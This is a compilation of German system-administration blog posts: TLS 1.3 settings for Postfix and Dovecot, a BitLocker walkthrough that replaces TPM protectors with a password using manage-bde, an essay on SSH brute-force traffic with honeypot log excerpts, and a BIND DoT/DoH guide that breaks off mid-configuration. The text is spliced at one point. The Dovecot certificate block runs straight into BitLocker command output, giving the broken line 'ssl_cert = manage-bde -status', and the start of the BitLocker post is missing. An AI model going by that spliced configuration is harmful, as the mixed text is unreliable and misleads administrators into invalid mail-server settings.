## 12. TLS 1.3 für Postfix & Dovecot: Einrichtung und Konfiguration
**Veröffentlicht:** 2019-02-15
**Permalink:** https://www.kernel-error.de/2019/02/15/tls-1-3-fuer-postfix-und-dovecot/
**Description:** Anleitung zur Aktivierung von TLS 1.3 in Postfix und Dovecot. Erfahre, wie du die Konfiguration anpasst und die Verschlüsselung erfolgreich testest.
TLS 1.3 ist im Mailbetrieb kein Sonderfall mehr, sondern der Normalzustand. Voraussetzung ist lediglich, dass Postfix und Dovecot gegen eine aktuelle OpenSSL-Version gelinkt sind. Sobald OpenSSL TLS 1.3 unterstützt, wird es automatisch verwendet. Eine explizite Aktivierung in der Applikation ist nicht erforderlich.
Die eigentliche Aufgabe der Konfiguration besteht daher nicht darin, TLS 1.3 „einzuschalten“, sondern darin, alte Protokollversionen sauber zu deaktivieren und für den verbleibenden TLS-1.2-Fallback eine kontrollierte Cipher-Policy zu definieren.
[[Bild: Illustration zu TLS 1.3 im Mailbetrieb: Symbolische Darstellung von Postfix und Dovecot mit Schloss und Schlüssel vor Server-Hintergrund, steht für verschlüsselte SMTP- und IMAP-Verbindungen mit modernen TLS-Standards.]](https://www.kernel-error.de/wp-content/uploads/2019/02/postfix-dovecot-tls13.png)
### Voraussetzungen
Postfix und Dovecot müssen gegen OpenSSL ≥ 1.1.1 gebaut sein. OpenSSL 3.x funktioniert ebenfalls ohne Einschränkungen. Welche Version tatsächlich genutzt wird, lässt sich eindeutig prüfen:
```
postconf -a | grep -i tls
dovecot --version
ldd $(which dovecot) | grep ssl
openssl version
```
Wenn hier OpenSSL 1.1.1 oder neuer auftaucht, ist TLS 1.3 verfügbar.
### Postfix
Postfix verwendet TLS 1.3 automatisch, sofern der Client es anbietet. Entscheidend ist, welche Protokollversionen minimal erlaubt werden. TLS 1.0 und TLS 1.1 gelten als kryptographisch überholt und sollten nicht mehr akzeptiert werden.
Die folgende Konfiguration beschränkt Postfix auf TLS 1.2 und neuer. TLS 1.3 wird dabei bevorzugt ausgehandelt, TLS 1.2 dient nur noch als Fallback.
```
smtpd_tls_protocols = >=TLSv1.2
smtp_tls_protocols = >=TLSv1.2
smtpd_tls_security_level = may
smtp_tls_security_level = may
smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem
smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem
```
Cipher-Optionen in Postfix gelten ausschließlich für TLS 1.2 und ältere Protokolle. TLS 1.3 verwendet fest definierte Cipher-Suites und ignoriert diese Einstellungen vollständig. Dennoch ist es sinnvoll, für den TLS-1.2-Fallback eine saubere Policy zu setzen.
```
tls_preempt_cipherlist = yes
smtpd_tls_ciphers = high
smtp_tls_ciphers = high
```
Damit werden nur moderne Cipher mit Forward Secrecy genutzt, abhängig von den OpenSSL-Defaults der jeweiligen Distribution.
Session-Caching reduziert Handshake-Overhead und sollte aktiv sein:
```
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
```
### Dovecot
Auch Dovecot nutzt TLS 1.3 automatisch, sofern OpenSSL es bereitstellt. Die relevante Einstellung ist die minimale Protokollversion. Alles darunter wird explizit ausgeschlossen.
```
ssl = required
ssl_min_protocol = TLSv1.2
```
Die Cipher-Liste in Dovecot betrifft ebenfalls nur TLS 1.2 und älter. TLS 1.3 wird davon nicht beeinflusst. Eine explizite, restriktive Cipher-Liste verhindert jedoch unsaubere Fallbacks bei älteren Clients.
```
ssl_cipher_list = \
ECDHE-ECDSA-CHACHA20-POLY1305:\
ECDHE-RSA-CHACHA20-POLY1305:\
ECDHE-ECDSA-AES256-GCM-SHA384:\
ECDHE-RSA-AES256-GCM-SHA384
ssl_prefer_server_ciphers = yes
```
Die Zertifikate werden wie gewohnt eingebunden:
```
ssl_cert = manage-bde -status
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Datenträgervolumes, die mit BitLocker-Laufwerkverschlüsselung
geschützt werden können:
Volume "C:" [System]
[Betriebssystemvolume]
Größe: 465,00 GB
BitLocker-Version: 2.0
Konvertierungsstatus: Nur verwendeter Speicherplatz ist verschlüsselt
Verschlüsselt (Prozent): 100,0 %
Verschlüsselungsmethode: XTS-AES 128
Schutzstatus: Der Schutz ist aktiviert.
Sperrungsstatus: Entsperrt
ID-Feld: Unbekannt
Schlüsselschutzvorrichtungen:
Numerisches Kennwort
TPM und PIN
TPM
C:\Windows\System32>
```
Schlüsselschutzvorrichtungen sind also numerisches Kennwort, TPM und PIN, sowie TPM. Was fehlt? Richtig, das Password. Da ich nur das Password möchte, kann im Grunde alles weg. Damit Windows 11 mir erlaubt, TPM von meinem Betriebssystemvolume zu entfernen, muss ich vorher noch eine Gruppenrichtlinie anpassen.
Dafür einfach die Tastenkombination **Win + S** drücken und nach *Gruppenrichtlinie bearbeiten* suchen.
[[Bild: Editor für lokale Gruppenrichtlinien mit geöffneter Einstellung 'Zusätzliche Authentifizierung beim Start anfordern' unter 'Computerkonfiguration > Administrative Vorlagen > BitLocker-Laufwerkverschlüsselung > Betriebssystemlaufwerke'. Die Option ist aktiviert, um die BitLocker-Verschlüsselung ohne TPM zu ermöglichen.]](https://www.kernel-error.de/wp-content/uploads/2024/12/BitLocker-ohne-TPM-001.jpg)
[[Bild: Detailansicht der Gruppenrichtlinieneinstellung 'Zusätzliche Authentifizierung beim Start anfordern'. Die Option 'BitLocker ohne kompatibles TPM zulassen' ist aktiviert, und die Konfiguration für TPM-Start, Systemstartschlüssel und PIN wird angezeigt. Die Beschreibung auf der rechten Seite erläutert die Auswirkungen der Richtlinie.]](https://www.kernel-error.de/wp-content/uploads/2024/12/BitLocker-ohne-TPM-002.jpg)
Dann zu:
**Computerkonfiguration** ⇒ **Administrative Vorlagen** ⇒ **BitLocker-Laufwerkverschlüsselung** ⇒ **Betriebssystemlaufwerke** ⇒ **Zusätzliche Authentifizierung beim Start anfordern.**
Hier die Einstellung so ändern, dass der Haken bei *„BitLocker ohne kompatibles TPM zulassen“* gesetzt ist.
Im Anschluss sicherstellen, dass die neue Gruppenrichtlinie auch angewendet wird. Dazu im Administrator-Terminal einfach ein kurzes:
```
PS C:\WINDOWS\system32> gpupdate /force
Die Richtlinie wird aktualisiert...
Die Aktualisierung der Computerrichtlinie wurde erfolgreich abgeschlossen.
Die Aktualisierung der Benutzerrichtlinie wurde erfolgreich abgeschlossen.
PS C:\WINDOWS\system32>
```
So, jetzt wird’s spannend. Erstmal alle Schlüsselschutzvorrichtungen deaktivieren, dann löschen, die neue Schlüsselschutzvorrichtung *Password* hinzufügen und alles wieder aktivieren. Das Ganze natürlich im Administrator-Terminal. Ich starte damit, alle Schlüsselschutzvorrichtungen zu deaktivieren:
```
C:\Windows\System32>manage-bde -protectors -disable C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Die Schlüsselschutzvorrichtungen für Volume "C:" sind deaktiviert.
```
Als Nächstes schaue ich nach, welche Schlüsselschutzvorrichtungen auf meinem Betriebssystemvolume eingerichtet sind.
```
C:\Windows\System32>manage-bde -protectors -get C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Volume "C:" [System]
Alle Schlüsselschutzvorrichtungen
Numerisches Kennwort:
ID: {AF6C0AAD-B337-4519-8D66-C06386994D97}
Kennwort:
673101-147301-650001-335379-291368-420618-438350-305327
Sicherungstyp:
In Datei gespeichert
TPM und PIN:
ID: {D5F87162-5556-4C27-82F9-25B389DBAF1B}
PCR-Validierungsprofil:
0, 2, 4, 11
TPM:
ID: {CA1BF147-2C40-4934-9161-660FBB44BA2C}
PCR-Validierungsprofil:
0, 2, 4, 11
```
Jetzt lösche ich alle Schlüsselschutzvorrichtungen anhand ihrer IDs:
```
C:\Windows\System32>manage-bde -protectors -delete C: -id {D5F87162-5556-4C27-82F9-25B389DBAF1B}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {D5F87162-5556-4C27-82F9-25B389DBAF1B}
TPM und PIN:
ID: {D5F87162-5556-4C27-82F9-25B389DBAF1B}
PCR-Validierungsprofil:
0, 2, 4, 11
Die Schlüsselschutzvorrichtung mit der ID "{D5F87162-5556-4C27-82F9-25B389DBAF1B}" wurde gelöscht.
C:\Windows\System32>manage-bde -protectors -delete C: -id {CA1BF147-2C40-4934-9161-660FBB44BA2C}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {CA1BF147-2C40-4934-9161-660FBB44BA2C}
TPM:
ID: {CA1BF147-2C40-4934-9161-660FBB44BA2C}
PCR-Validierungsprofil:
0, 2, 4, 11
Die Schlüsselschutzvorrichtung mit der ID "{CA1BF147-2C40-4934-9161-660FBB44BA2C}" wurde gelöscht.
C:\Windows\System32>manage-bde -protectors -delete C: -id {AF6C0AAD-B337-4519-8D66-C06386994D97}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {AF6C0AAD-B337-4519-8D66-C06386994D97}
Numerisches Kennwort:
ID: {AF6C0AAD-B337-4519-8D66-C06386994D97}
Kennwort:
673101-147301-650001-335379-291368-420618-438350-305327
Sicherungstyp:
In Datei gespeichert
Die Schlüsselschutzvorrichtung mit der ID "{AF6C0AAD-B337-4519-8D66-C06386994D97}" wurde gelöscht.
```
Wenn ich jetzt noch einmal kontrolliere, welche Schlüsselschutzvorrichtungen ich habe, sollten dort keine mehr stehen.
```
C:\Windows\System32>manage-bde -protectors -get C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Volume "C:" [System]
Alle Schlüsselschutzvorrichtungen
FEHLER: Es wurden keine Schlüsselschutzvorrichtungen gefunden.
```
Damit kann ich jetzt meine neue, gewünschte Schlüsselschutzvorrichtung *Passwort* hinzufügen.
```
C:\Windows\System32>manage-bde -protectors -add C: -password
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Geben Sie das Kennwort ein, das zum Schützen des Volumes verwendet werden soll:
Bestätigen Sie das Kennwort durch erneute Eingabe:
Hinzugefügte Schlüsselschutzvorrichtungen:
Kennwort:
ID: {4D141862-4C75-4321-AA6D-8BABB89C601C}
```
Bleibt nur noch, diese auch zu aktivieren.
```
C:\Windows\System32>manage-bde -protectors -enable C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Die Schlüsselschutzvorrichtungen für Volume "C:" sind aktiviert.
```
Wenn ich jetzt den BitLocker-Status prüfe, ist alles aktiv, und es gibt nur noch die Schlüsselschutzvorrichtung *Kennwort / Password*!
```
C:\Windows\System32>manage-bde -status
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
Datenträgervolumes, die mit BitLocker-Laufwerkverschlüsselung
geschützt werden können:
Volume "C:" [System]
[Betriebssystemvolume]
Größe: 465,00 GB
BitLocker-Version: 2.0
Konvertierungsstatus: Nur verwendeter Speicherplatz ist verschlüsselt
Verschlüsselt (Prozent): 100,0 %
Verschlüsselungsmethode: XTS-AES 128
Schutzstatus: Der Schutz ist aktiviert.
Sperrungsstatus: Entsperrt
ID-Feld: Unbekannt
Schlüsselschutzvorrichtungen:
Kennwort
```
Starte ich meinen Computer und wähle im Grub Windows aus, werde ich danach nach meinem BitLocker-Kennwort gefragt, und das System fährt sauber hoch.
Fragen? Dann fragen 🙂
---
---
## 14. SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem nicht löst
**Veröffentlicht:** 2026-01-07
**Permalink:** https://www.kernel-error.de/2026/01/07/ssh-bruteforce-digitalocean-und-abuseipdb-warum-blocken-das-problem-nicht-loest/
**Description:** SSH-Bruteforce und AbuseIPDB — warum reines IP-Blocking gegen Bot-Angriffe ineffektiv ist und bessere Strategien für die Server-Absicherung.
Aus gegebenem Anlass möchte ich ein paar Gedanken zu DigitalOcean aufschreiben. Nicht, weil ich glaube, dass DigitalOcean ein grundsätzliches Problem hat oder etwas falsch macht. Sondern weil DigitalOcean in meinen Logs seit Jahren besonders auffällt. Am Ende steht DigitalOcean hier eher sinnbildlich für ein größeres Thema.
Wer Systeme im Internet betreibt, kennt das Spiel. Server werden dauerhaft von außen angefasst. SSH-Ports werden gescannt, Login-Versuche laufen durch, Webseiten bekommen Requests auf bekannte Pfade, WordPress-Logins, XML-RPC, das volle Programm. Das ist kein gezielter Angriff, sondern automatisiertes Dauerrauschen. Bots, Skripte, Scanner, manchmal Security-Tools, manchmal schlicht schlecht konfigurierte Kisten.
[[Bild: Darstellung von automatisierten SSH-Bruteforce-Angriffen und Server-Härtung in Cloud-Umgebungen]](https://www.kernel-error.de/wp-content/uploads/2026/01/abuse-digitalocean.png)
Findet so ein Bot irgendwo ein offenes Loch, einen Standard-Login, ein vergessenes Passwort oder eine ungepatchte Schwachstelle, dann geht es weiter. Meistens wird erst einmal weitere Software nachgeladen. Der Host wird Teil eines Botnetzes, scannt selbst weiter, verteilt Spam, nimmt an DDoS-Aktionen teil oder schürft Kryptowährungen. Nichts davon ist neu, nichts davon ist überraschend.
Was mir allerdings seit mindestens vier Jahren auffällt: Ein sehr großer Teil dieser Brute-Force-Versuche, insbesondere auf SSH, kommt bei mir aus Netzen von DigitalOcean. Nicht ein bisschen mehr, sondern konstant irgendwo im Bereich von achtzig bis neunzig Prozent. Über Jahre. Über verschiedene Systeme hinweg.
Der erste Reflex liegt nahe. Wenn so viel aus einem Netz kommt, warum blockt man dann nicht einfach alle Netze dieses Anbieters? Dann ist Ruhe. Und wenn das alle machen würden, müsste der Anbieter ja reagieren. Der Gedanke ist verständlich. Ich hatte ihn selbst. Er ist aber aus meiner Sicht der falsche.
Ein pauschales Blocken ist im Grunde nichts anderes als eine Decke über das eigentliche Problem zu werfen. Das Problem ist damit nicht weg, es ist nur woanders. Die Bots wechseln dann eben zum nächsten Cloud-Provider. Außerdem produziert man sich damit ganz eigene Probleme. DigitalOcean-Netze komplett zu sperren heißt auch, legitimen Traffic auszusperren. APIs, Dienste, Kunden, Monitoring, externe Abhängigkeiten. Je nach Setup schneidet man sich damit schneller ins eigene Fleisch, als einem lieb ist.
Relativ schnell landet man dann bei Reputation-Diensten wie [AbuseIPDB](https://www.abuseipdb.com/user/34530). Dort melden Betreiber IPs, von denen Scans, Brute-Force-Versuche oder andere Auffälligkeiten ausgehen. Auch ich melde dort seit Jahren IPs, automatisiert und manuell. Formal funktioniert das gut. IPs bekommen Scores, werden gelistet, tauchen in Datenbanken auf.
Das Problem ist nur: Diese Systeme arbeiten IP-basiert. Und genau das passt schlecht zur Realität moderner Netze. In Cloud-Umgebungen sind IPs kurzlebig. Heute gehört sie einem kompromittierten Host, morgen einem völlig legitimen Kunden. Ein hoher Abuse-Score sagt wenig über den aktuellen Nutzer dieser IP aus. Reputation ist träge, Infrastruktur ist schnell.
```
Jan 6 22:58:08 honeypot03 sshd-session[61904]: Invalid user sonar from 64.23.228.101 port 38610
Jan 6 22:58:08 honeypot03 sshd-session[61904]: Connection closed by invalid user sonar 64.23.228.101 port 38610 [preauth]
Jan 6 23:02:13 honeypot03 sshd-session[62101]: Invalid user sonar from 64.23.228.101 port 38174
Jan 6 23:02:13 honeypot03 sshd-session[62101]: Connection closed by invalid user sonar 64.23.228.101 port 38174 [preauth]
Jan 6 23:06:12 honeypot03 sshd-session[62175]: Invalid user sonar from 64.23.228.101 port 35952
Jan 6 23:06:12 honeypot03 sshd-session[62175]: Connection closed by invalid user sonar 64.23.228.101 port 35952 [preauth]
Jan 6 23:10:10 honeypot03 sshd-session[62248]: Invalid user steam from 64.23.228.101 port 38236
Jan 6 23:10:10 honeypot03 sshd-session[62248]: Connection closed by invalid user steam 64.23.228.101 port 38236 [preauth]
Jan 6 23:14:17 honeypot03 sshd-session[62335]: Invalid user steam from 64.23.228.101 port 35952
Jan 6 23:14:18 honeypot03 sshd-session[62335]: Connection closed by invalid user steam 64.23.228.101 port 35952 [preauth]
Jan 6 23:18:22 honeypot03 sshd-session[62455]: Invalid user steam from 64.23.228.101 port 50096
Jan 6 23:18:22 honeypot03 sshd-session[62455]: Connection closed by invalid user steam 64.23.228.101 port 50096 [preauth]
Jan 6 23:22:24 honeypot03 sshd-session[62599]: Invalid user sugi from 64.23.228.101 port 53212
Jan 6 23:22:25 honeypot03 sshd-session[62599]: Connection closed by invalid user sugi 64.23.228.101 port 53212 [preauth]
Jan 6 23:26:26 honeypot03 sshd-session[62671]: Invalid user svnuser from 64.23.228.101 port 44820
Jan 6 23:26:26 honeypot03 sshd-session[62671]: Connection closed by invalid user svnuser 64.23.228.101 port 44820 [preauth]
Jan 6 23:30:26 honeypot03 sshd-session[62763]: Invalid user svnuser from 64.23.228.101 port 52156
Jan 6 23:30:27 honeypot03 sshd-session[62763]: Connection closed by invalid user svnuser 64.23.228.101 port 52156 [preauth]
Jan 6 23:34:30 honeypot03 sshd-session[62867]: Invalid user taryn from 64.23.228.101 port 54128
Jan 6 23:34:31 honeypot03 sshd-session[62867]: Connection closed by invalid user taryn 64.23.228.101 port 54128 [preauth]
Jan 6 23:38:41 honeypot03 sshd-session[62939]: Invalid user taryn from 64.23.228.101 port 39894
Jan 6 23:38:42 honeypot03 sshd-session[62939]: Connection closed by invalid user taryn 64.23.228.101 port 39894 [preauth]
Jan 6 23:42:44 honeypot03 sshd-session[63013]: Invalid user taryn from 64.23.228.101 port 57728
Jan 6 23:42:45 honeypot03 sshd-session[63013]: Connection closed by invalid user taryn 64.23.228.101 port 57728 [preauth]
Jan 6 23:46:45 honeypot03 sshd-session[63160]: Invalid user taryn from 64.23.228.101 port 38438
Jan 6 23:46:45 honeypot03 sshd-session[63160]: Connection closed by invalid user taryn 64.23.228.101 port 38438 [preauth]
Jan 6 23:50:49 honeypot03 sshd-session[63252]: Invalid user taryn from 64.23.228.101 port 54070
Jan 6 23:50:49 honeypot03 sshd-session[63252]: Connection closed by invalid user taryn 64.23.228.101 port 54070 [preauth]
Jan 6 23:54:55 honeypot03 sshd-session[63354]: Invalid user terrance from 64.23.228.101 port 57960
Jan 6 23:54:55 honeypot03 sshd-session[63354]: Connection closed by invalid user terrance 64.23.228.101 port 57960 [preauth]
Jan 6 23:59:05 honeypot03 sshd-session[63472]: Invalid user terrance from 64.23.228.101 port 47558
Jan 6 23:59:05 honeypot03 sshd-session[63472]: Connection closed by invalid user terrance 64.23.228.101 port 47558 [preauth]
Jan 7 00:03:11 honeypot03 sshd-session[64731]: Invalid user terrance from 64.23.228.101 port 42938
Jan 7 00:03:11 honeypot03 sshd-session[64731]: Connection closed by invalid user terrance 64.23.228.101 port 42938 [preauth]
```
Damit erklärt sich auch, warum Provider solche externen Feeds nicht einfach hart umsetzen. Würde man IPs automatisiert abschalten, nur weil sie in einer Datenbank schlecht bewertet sind, träfe man regelmäßig Unbeteiligte. False Positives wären vorprogrammiert. Rechtlich, operativ und wirtschaftlich ist das für Provider kaum tragbar.
Warum also fällt DigitalOcean so stark auf? Das kann ich nicht belegen, nur einordnen. DigitalOcean ist günstig, schnell, einfach. In wenigen Minuten hat man dort eine VM mit öffentlicher IP. Das ist für legitime Nutzer attraktiv, aber eben auch für Leute mit schlechten Absichten. Wenn Infrastruktur billig und niedrigschwellig ist, taucht sie zwangsläufig häufiger in Logs auf. Dazu kommt, dass viele Systeme dort von Menschen betrieben werden, die vielleicht noch nicht so tief im Thema Security stecken. Offene Dienste, schwache Konfigurationen, fehlendes Hardening – all das macht solche Hosts wiederum zu guten Kandidaten für Kompromittierung und Weiterverwendung.
Wichtig dabei: DigitalOcean selbst macht aus meiner Sicht nichts grundlegend falsch. Der Abuse-Prozess funktioniert. Meldungen lassen sich automatisiert einreichen, werden angenommen, werden beantwortet, werden bearbeitet. Ich habe das über Jahre hinweg genutzt, [sowohl manuell ](https://www.digitalocean.com/company/contact/abuse)als auch automatisiert. Das ist sauber umgesetzt.
Was sich dadurch aber nicht ändert, ist die Menge der Versuche. Die wird nicht weniger. Sie bleibt konstant. Einzelne Hosts verschwinden, neue tauchen auf. Abuse-Meldungen – egal ob direkt beim Provider oder über Plattformen wie AbuseIPDB – wirken immer nur lokal und zeitverzögert. Gegen ein strukturelles Phänomen kommen sie nicht an.
Aus Sicht eines Providers ist das auch logisch. Ein paar tausend fehlgeschlagene SSH-Logins sind kein Incident. Kein DDoS, kein Ausfall, kein messbarer Schaden. Das fällt unter Hintergrundrauschen. Niemand bezahlt dafür, dieses Rauschen global zu eliminieren. Und ehrlich gesagt: Das kann auch niemand realistisch leisten.
Die eigentliche Konsequenz daraus ist unbequem, aber klar. Man darf nicht erwarten, dass Provider oder Reputation-Datenbanken einem dieses Problem abnehmen. Scan- und Brute-Force-Traffic gehört heute zum Betrieb eines öffentlich erreichbaren Systems dazu. Die einzige Stelle, an der man sinnvoll ansetzen kann, ist das eigene Setup.
Saubere Konfiguration. Keine Passwort-Logins per SSH. Kein Root-Login. Rate-Limits. Monitoring, das zwischen Rauschen und echten Zustandsänderungen unterscheidet. [Fail2Ban](https://de.wikipedia.org/wiki/Fail2ban) als Dämpfer, nicht als Illusion von Sicherheit. Und vor allem: Gelassenheit gegenüber Logs, die voll sind, aber nichts bedeuten.
DigitalOcean ist hier nicht der Feind. AbuseIPDB ist kein Allheilmittel. Beides sind sichtbare Teile eines größeren Bildes. Das eigentliche Thema ist, wie man Systeme so betreibt, dass dieses Hintergrundrauschen irrelevant wird.
---
---
## 15. BIND auf FreeBSD: DoT & DoH einrichten mit Views, IP-Trennung und Testplan für IPv4/IPv6.
**Veröffentlicht:** 2026-01-03
**Permalink:** https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/
**Description:** BIND 9.20 mit DoT und DoH unter FreeBSD 15 — DNS over TLS/HTTPS mit Views, IP-Trennung und Sicherheits-Features einrichten.
### Wofür braucht man noch gleich DoT oder DoH?
Nun, wenn du eine Internetadresse eingibst, muss dein Gerät zuerst herausfinden, zu welchem Server diese Adresse gehört. Diese Nachfragen heißen DNS. Lange Zeit liefen sie unverschlüsselt durchs Netz, vergleichbar mit einer Postkarte. Jeder, der den Datenverkehr sehen konnte, wusste dadurch sehr genau, welche Webseiten aufgerufen werden, und konnte die Antworten sogar manipulieren.
[[Bild: Beitragsgrafik zu BIND 9.20 auf FreeBSD 15: schematische Trennung von autoritativem DNS und rekursivem Resolver. Links ein Authoritative-DNS-Server mit deaktivierter Rekursion und blockiertem UDP/53, rechts ein Resolver, der ausschließlich DNS over TLS (Port 853) und DNS over HTTPS (Port 443) anbietet. In der Mitte ein Schild mit DoT/DoH-Symbolen, Pfeile zeigen verschlüsselten DNS-Verkehr. Fokus auf Sicherheits- und Rollen-Trennung.]](https://www.kernel-error.de/wp-content/uploads/2026/01/bind9-dot-doh.png)
DoT und DoH lösen genau dieses Problem. Beide sorgen dafür, dass diese DNS-Nachfragen verschlüsselt übertragen werden. Bei DNS over TLS, kurz DoT, wird die Anfrage in eine eigene sichere Verbindung gepackt. Außenstehende sehen noch, dass eine DNS-Anfrage stattfindet, aber nicht mehr, welche Webseite gemeint ist. Bei DNS over HTTPS, kurz DoH, wird dieselbe Anfrage zusätzlich im normalen Webseitenverkehr versteckt. Von außen sieht sie aus wie ein ganz gewöhnlicher Zugriff auf eine Website.
Der Zweck von beiden ist also derselbe: Schutz der Privatsphäre und Schutz vor Manipulation. Der Unterschied liegt darin, wie sichtbar diese Nachfragen noch sind. DoT ist transparent und gut kontrollierbar, DoH ist unauffälliger, kann dafür aber lokale Regeln und Schutzmechanismen umgehen.
Mal angenommen, du möchtest eine gewisse Webseite aufrufen. Dann geht der Client los und holt über einen DNS-Server die IP-Adressen vom Server. Dies kann man mitlesen und ggf. verändern. Mitlesen sagt dem Mitlesenden, wo du dich so im Internet herumtreibst. Verändern könnte man als Angriff nutzen, indem man dir einfach eine andere Webseite vorsetzt, während du versuchst, dich in deinen Mailaccount einzuloggen. Beides wird durch DoH und DoT deutlich erschwert.
Dann soll es ja Netzwerke geben, in welchen dir ein bestimmter DNS-Server aufgezwungen wird, weil dieser DNS-Server nach Werbung oder ungewollten Inhalten filtert. Damit dies nun ebenfalls nicht einfach umgangen werden kann, blockt man den Zugriff aus dem Netzwerk einfach auf die Ports, welche sonst für eine DNS-Abfrage benutzt werden (TCP/53, UDP/53, TCP/853). Da kommt nun DoH ins Spiel, denn das läuft auf dem ganz normalen HTTPS-Port TCP/443. Blockt man den, kann keiner mehr auf Webseiten zugreifen (ok, unverschlüsselt, aber hey, das macht doch keiner mehr, oder?).
Die Zeit ging weiter – BIND auch.
Meine älteren Artikel zu [DoT](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/)/[DoH ](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/)waren für ihren Zeitpunkt korrekt, aber inzwischen hat sich an zwei Stellen richtig was getan:
- **BIND spricht [DoT](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/)/[DoH](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/) nativ** (kein Stunnel-/Proxy-Zirkus mehr nötig – außer du willst bewusst terminieren/filtern).
- **„Authoritative + Public Resolver auf derselben Kiste“** ist ohne klare Trennung schnell ein Sicherheitsproblem (Open-Resolver/Reflection-Missbrauch lässt grüßen).
Darum gibt’s hier das Update:
- **ns1.kernel-error.de**: nur autoritativ auf **UDP/TCP 53** (Zonen, DNSSEC wie gehabt)
- **[dns.kernel-error.de](https://dns.kernel-error.de/dns-query)**: Public Resolver nur auf **DoT 853/TCP** und **DoH 443/TCP** (rekursiv, DNSSEC-validierend)
- **Trennung über zusätzliche IPs + Views**. Ergebnis: Authoritative bleibt „stumm rekursiv“, Resolver ist nur über TLS/HTTPS erreichbar.
### Zielbild
Uff, ich muss zugeben, diesen Beitrag schon VIEL zu lange als Draft zu haben. Es ist einfach viel zu schreiben, bschreiben und mir fehlte die Zeit. Aber das kennt ihr ja. OK… das Zielbild, was soll es werden?
**Was soll am Ende gelten:**
- Port 53 auf Authoritative-IP(s):
beantwortet **nur** meine autoritativen Zonen
- **keine Rekursion** → REFUSED bei `google.com`
- DoT/DoH auf separaten Resolver-IP(s):
rekursiv für „das ganze Internet“
- DNSSEC-Validation aktiv
- *kein* offenes UDP/53 → weniger Angriffsfläche für Reflection/Amplification
**Warum das wichtig ist:**
Ein „Public Resolver“ ist per Definition attraktiv für Missbrauch. Der Klassiker ist **[DNS-Amplification](https://de.wikipedia.org/wiki/DNS_Amplification_Attack)** über UDP/53. Wenn man Rekursion auf 53 offen hat, ist man sehr schnell Teil fremder Probleme. DoT/DoH sind TCP-basiert – das ist schon mal deutlich unattraktiver für Reflection. (Nicht „unmöglich“, aber praktisch viel weniger lohnend.)
### Warum „Views“ – und warum zusätzliche IPs?
### 1) Views – weil Policy pro Anfrage gelten muss
Wir wollen auf *derselben named-Instanz* zwei sehr unterschiedliche Rollen:
- **Authoritative**: `recursion no;`
- **Resolver**: `recursion yes;` + Root-Hints/Cache
Das muss **pro eingehender Anfrage** entschieden werden. Dafür sind Views da.
2) Also: Trennung über Ziel-IP (match-destinations)
Wenn wir **DoH/DoT auf andere IPs legen**, kann die View anhand der Zieladresse entscheiden:
- Anfrage geht an `93.177.67.26` / `2a03:4000:38:20e::53` → **auth-View**
- Anfrage geht an `37.120.183.220` / `2a03:4000:38:20e::853` → **resolver-View**
Und genau deshalb brauchen wir:
- **zusätzliche IPs** (damit die Rollen sauber getrennt sind)
- **separaten FQDN** `dns.kernel-error.de` (damit Clients überhaupt sinnvoll DoT/DoH nutzen können – und für TLS/SNI/Cert-Match)
Wenn du also grade ein ripe from ausfüllst und angeben musst, warum da eine weitere IPv4 Adresse „verbrannt“ werden soll, hast du nun eine gute Antwort 😀
BIND-Config
Ich beschreibe hier nur die Teile, die für das Rollen-Split relevant sind. Die Zonendateien/Slaves bleiben wie sie sind.
### 1) /usr/local/etc/namedb/named.conf – Views
**Wichtig:** Sobald wir `view {}` nutzen, müssen *alle* Zonen in Views liegen, sonst bricht `named-checkconf` ab. Das ist kein „Feature“, das ist BIND. Leicht nervig, vor allem wenn man nun viel in seinem Setup umschreiben muss. Aber ich eigentlich schon mal erwähnt, dass ich auf der Arbeit mal einen, nennen wir es mal View Ersatz, für powerdns gesehen habe? Da hat tatsächlich jemand mit einer Cisco ASA in die DNS Pakete geschaut und je nachdem welche quelle angefragt hat, wurde dann durch die ASA eine neue Adresse in die DNS Pakete geschrieben. Furchtbar! Richtig schlimm. Bis man so etwas findet, wenn man es nicht weiß. DNSsec geht kaputt und aaahhhhhhaaaaaahhhhh. Egal, mein PTBS kickt da grade. Öhm wo waren wir? Genau…
Beispiel:
```
include "/usr/local/etc/namedb/named.conf.options";
view "auth" {
match-clients { any; };
